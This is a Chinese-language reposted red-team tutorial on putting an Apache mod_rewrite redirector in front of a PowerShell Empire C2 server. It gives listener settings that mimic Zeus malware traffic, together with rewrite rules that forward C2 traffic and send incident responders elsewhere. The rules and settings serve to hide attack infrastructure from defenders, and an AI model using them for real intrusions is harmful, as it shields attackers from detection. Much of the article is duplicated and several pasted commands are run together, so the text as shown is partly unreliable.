您的位置:首頁>正文

用Apache mod_rewrite來保護你的Empire C2

背景

由於紅色團隊(red teamers)發佈了紅色團隊維琪基礎架構(Red Team Infrastructure Wiki), 耶誕節似乎更早的來到了。 它首次出場於Jeff Dimmock和Steve Borosh的紅色團隊基礎架構的演講。

在設計和保護您的基礎架構時, 我甚至無法研究wiki這樣的無價之寶。 請您閱讀這篇文章, 來領略我的意思。

Wiki強調的一個關鍵設計因素是在您的基礎設施設置中使用重定向器。 重定向可以應用於基礎架構的幾乎所有功能 服務有效載荷, 避免IR和保護您的C2等等。 丟失C2伺服器的成本可能會非常高, 因此應用重定向來保護C2伺服器應該是您設計過程中的首要任務。 Jeff Dimmock已經寫了一篇關於用Apache mod_rewrite重定向保護Cobalt Strike C2流量的詳細文章, Julian Catrambone寫了一個很酷的腳本來自動化過程。

請允許我在這裡喋喋不休地談論重定向器並學習他們一些偉大的經驗。

問題前引

“經典的”C2伺服器設置如下所示:

問題在於你的C2伺服器是完全暴露的, 如果它被損壞, 你將別無選擇的放棄並重新開始建立新的基礎設施。

而解決方案正是使用C2重定向。

重定向

一般來說, 流量重定向可以通過兩種方式完成:

Dumb Pipe Redirection:

所有通過您的重定向器的流量都會轉發到您的C2伺服器。

這種重定向有一些優點:您的C2伺服器的真實位置沒有顯示。

不足之處在於藍色團隊很容易識別可疑活動, 因為來自任何防禦性解決方案或好奇事件回應者的所有不需要的流量都會被轉發到您的C2, 並且如果您的某些C2伺服器端指標引發了任何問題, 那麼您可能很快就會使自己處於一個麻煩的境地。

Conditional Redirection:

條件重定向允許您使用非常個性化的參數來配置重定向器, 以便在將所有傳入流量轉發到其目標之前檢查所有傳入流量。 這意味著你可以配置你的重定向器, 只允許你想要通過你的C2伺服器的流量, 並將所有不需要的流量重定向到你選擇的另一個目的地, 例如可能會欺騙你的評估的任何流量。

Apache mod_rewrite

Apache mod_rewrite是一個強大的apache web伺服器模組, 他允許我們使用條件重定向去保護我們的Empire C2伺服器。

Jeff Dimmock已經寫了一篇驚豔的博文去展示mod_rewrite是多麼有用。

但是在我們開始設置我們的重定向之前, 我們需要判斷我們的重定向器需要什麼樣的條件去分辨有效的C2流量

Empire通訊檔

Empire通訊檔允許操作者去配置他們的C2流量。 舉個例子, 操作者可以配置他們的Empire C2流量, 使他們看起來像正常的web流量, 就如搜尋引擎流量, 視頻流, 甚至是從已知惡意行為中複製的異常流量。 Empire的通信設定檔相當於Cobalt Strike的Malleable C2設定檔。

現在已經有大量的資料可以用來學習通信設定檔和可擴展的C2, 所以我不會再詳細解釋它們。 我只提及它們。 因為我們的重定向器將使用通信設定檔, 所以我們配置我們的Empire C2伺服器以確定什麼是有效的C2流量, 什麼不是。

現在, 我們可以開始設置我們的重定向了。

使用Apache mod_rewrite的Empire C2重定向器

先決條件

我們需要2台伺服器; 一個重定向器(Apache webserver)和一個C2伺服器(Empire)。 我正在使用的設置如下所示:

安裝Apache並啟用mod_rewrite

安裝了Apache之後, 你需要在你的Apache設定檔中找到下面的代碼塊(應該位置於/etc/apache2/apache.conf)並將

AllowOverride None

改為

AllowOverride AllOptions Indexes FollowSymLinksAllowOverride NoneRequire all granted

在你編輯了Apache設定檔之後, 你將需要啟用一些模組並重啟你的Apache web伺服器。

sudo a2enmod rewrite proxy proxy_httpsudo service apache2 restart

現在mod_rewrite已經奏效了

選擇一個Empire通信設定檔

最簡單去配置Empire通信設定檔的方法就是去你的Empire監聽配置中改變DefaultProfile的屬性。只需將您選擇的通信設定檔粘貼到相應的欄位並啟動您的監聽。我將使用配置Zeus Communication Profile

set Host http:///192.168.56.101:80set DefaultProfile /metro91/admin/1/ppptp.jpg,/metro91/admin/1/secure.php|Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)|Accept:*/*

注意:”主機”監聽器屬性應設置為重定向器的IP位址/域。

生成mod_rewrite規則

這篇文章將詳細的告訴你如何生成mod_rewrite的規則

https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/

Empire通訊檔的過程是相同的,所以我不需要再解釋它。我正在使用的Zeus設定檔的生成規則,如下所示

RewriteEngine OnRewriteCond %{REQUEST_URI} ^/(metro91/admin/1/ppptp.jpg|metro91/admin/1/secure.php)/?$RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)?$RewriteRule ^.*$ http://192.168.56.102%{REQUEST_URI} [P]RewriteRule ^.*$ http://example.com/? [L,R=302]

將規則寫入.htaccess檔

一旦你有了你的規則,你可以將它們寫入你的web伺服器根目錄下的.htaccess文件: 在我的vps上目錄為/var/www/html。

這個網站允許你在將它們放入一個.htaccess檔之前檢查你的mod_rewrite規則的語法錯誤 。

注:.htaccess檔應該配置為644許可權。

重啟web伺服器

剩下的就是重啟Apache並完成新的更改。

sudo service apache2 restart

測試

現在查看我們的重定向器是否正常工作。我用Powershell啟動器影響了Windows 7(192.168.56.100)。

這是目標的流量:

如果我們的重定向器收到來自可疑事件響應者流覽其IP的任何無效C2流量,會發生什麼情況?

它們被重定向到我們在mod_rewrite規則集中指定的網站(example.com)。

Sleight-自動重定向器設置

如果你必須不止一次地做同樣的事情,你應該自動化它,對吧?

我寫了一個亂七八糟的Python腳本來自動完成上述過程,並為將來節省一點時間。一旦你配置了你的Empire C2並獲得了一個伺服器/VPS作為重定向器使用,只需下載Sleight,使用管理許可權運行它,為它提供一個通信設定檔,按照提示進行操作。

您應該立即啟動並運行一個功能強大的Empire HTTP C2重定向器。使用Empire HTTPS重定向在我的待辦事項列表中。一旦我做到了,我一定會寫博客。下面的圖片顯示了Sleight使用Comfoo設定檔設置新的重定向器。

注意:Sleight一個快速的配置腳本,用於初始化配置你的vps重定向器,如果你已經有了一個使用自訂mod_rewrite規則集的可操作的Apache伺服器,那麼使用Sleight只會將Empire通信設定檔轉換成mod_rewrite規則,然後將它們添加到你的.htaccess文件中會更好。

結論

將重定向應用到您的C2流量只是加強您的基礎架構的一個小而關鍵的步驟。我希望這篇文章很有幫助,但還有很多工作可以做,以防止您的基礎架構被事件回應者標記,以及發現違反的任何防禦措施的行為。我強烈建議配置你的Empire C2伺服器,防火牆只允許來自其分配的重定向器的HTTP流量。 查看Red Team Infrastructure Wiki和下面的資源以獲取更多提示。

參考文獻

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

https://speakerdeck.com/bluscreenofjeff/building-a-better-moat-designing-an-effective-covert-red-team-attack-infrastructure

https://bluescreenofjeff.com/tags#mod_rewrite

https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html

https://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/

https://bluescreenofjeff.com/2017-03-01-how-to-make-communication-profiles-for-empire/

http://threatexpress.com/2017/06/convert-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-support-http-c2-redirection/

http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/

https://www.legalbutfrownedupon.com/customizing-powershell-empire-to-avoid-detection/

登錄安全客 - 有思想的安全新媒體www.anquanke.com/,或下載安全客APP來獲取更多最新資訊吧~

你將需要啟用一些模組並重啟你的Apache web伺服器。

sudo a2enmod rewrite proxy proxy_httpsudo service apache2 restart

現在mod_rewrite已經奏效了

選擇一個Empire通信設定檔

最簡單去配置Empire通信設定檔的方法就是去你的Empire監聽配置中改變DefaultProfile的屬性。只需將您選擇的通信設定檔粘貼到相應的欄位並啟動您的監聽。我將使用配置Zeus Communication Profile

set Host http:///192.168.56.101:80set DefaultProfile /metro91/admin/1/ppptp.jpg,/metro91/admin/1/secure.php|Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)|Accept:*/*

注意:”主機”監聽器屬性應設置為重定向器的IP位址/域。

生成mod_rewrite規則

這篇文章將詳細的告訴你如何生成mod_rewrite的規則

https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/

Empire通訊檔的過程是相同的,所以我不需要再解釋它。我正在使用的Zeus設定檔的生成規則,如下所示

RewriteEngine OnRewriteCond %{REQUEST_URI} ^/(metro91/admin/1/ppptp.jpg|metro91/admin/1/secure.php)/?$RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)?$RewriteRule ^.*$ http://192.168.56.102%{REQUEST_URI} [P]RewriteRule ^.*$ http://example.com/? [L,R=302]

將規則寫入.htaccess檔

一旦你有了你的規則,你可以將它們寫入你的web伺服器根目錄下的.htaccess文件: 在我的vps上目錄為/var/www/html。

這個網站允許你在將它們放入一個.htaccess檔之前檢查你的mod_rewrite規則的語法錯誤 。

注:.htaccess檔應該配置為644許可權。

重啟web伺服器

剩下的就是重啟Apache並完成新的更改。

sudo service apache2 restart

測試

現在查看我們的重定向器是否正常工作。我用Powershell啟動器影響了Windows 7(192.168.56.100)。

這是目標的流量:

如果我們的重定向器收到來自可疑事件響應者流覽其IP的任何無效C2流量,會發生什麼情況?

它們被重定向到我們在mod_rewrite規則集中指定的網站(example.com)。

Sleight-自動重定向器設置

如果你必須不止一次地做同樣的事情,你應該自動化它,對吧?

我寫了一個亂七八糟的Python腳本來自動完成上述過程,並為將來節省一點時間。一旦你配置了你的Empire C2並獲得了一個伺服器/VPS作為重定向器使用,只需下載Sleight,使用管理許可權運行它,為它提供一個通信設定檔,按照提示進行操作。

您應該立即啟動並運行一個功能強大的Empire HTTP C2重定向器。使用Empire HTTPS重定向在我的待辦事項列表中。一旦我做到了,我一定會寫博客。下面的圖片顯示了Sleight使用Comfoo設定檔設置新的重定向器。

注意:Sleight一個快速的配置腳本,用於初始化配置你的vps重定向器,如果你已經有了一個使用自訂mod_rewrite規則集的可操作的Apache伺服器,那麼使用Sleight只會將Empire通信設定檔轉換成mod_rewrite規則,然後將它們添加到你的.htaccess文件中會更好。

結論

將重定向應用到您的C2流量只是加強您的基礎架構的一個小而關鍵的步驟。我希望這篇文章很有幫助,但還有很多工作可以做,以防止您的基礎架構被事件回應者標記,以及發現違反的任何防禦措施的行為。我強烈建議配置你的Empire C2伺服器,防火牆只允許來自其分配的重定向器的HTTP流量。 查看Red Team Infrastructure Wiki和下面的資源以獲取更多提示。

參考文獻

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

https://speakerdeck.com/bluscreenofjeff/building-a-better-moat-designing-an-effective-covert-red-team-attack-infrastructure

https://bluescreenofjeff.com/tags#mod_rewrite

https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html

https://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/

https://bluescreenofjeff.com/2017-03-01-how-to-make-communication-profiles-for-empire/

http://threatexpress.com/2017/06/convert-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-support-http-c2-redirection/

http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/

https://www.legalbutfrownedupon.com/customizing-powershell-empire-to-avoid-detection/

登錄安全客 - 有思想的安全新媒體www.anquanke.com/,或下載安全客APP來獲取更多最新資訊吧~

同類文章
Next Article
喜欢就按个赞吧!!!
点击关闭提示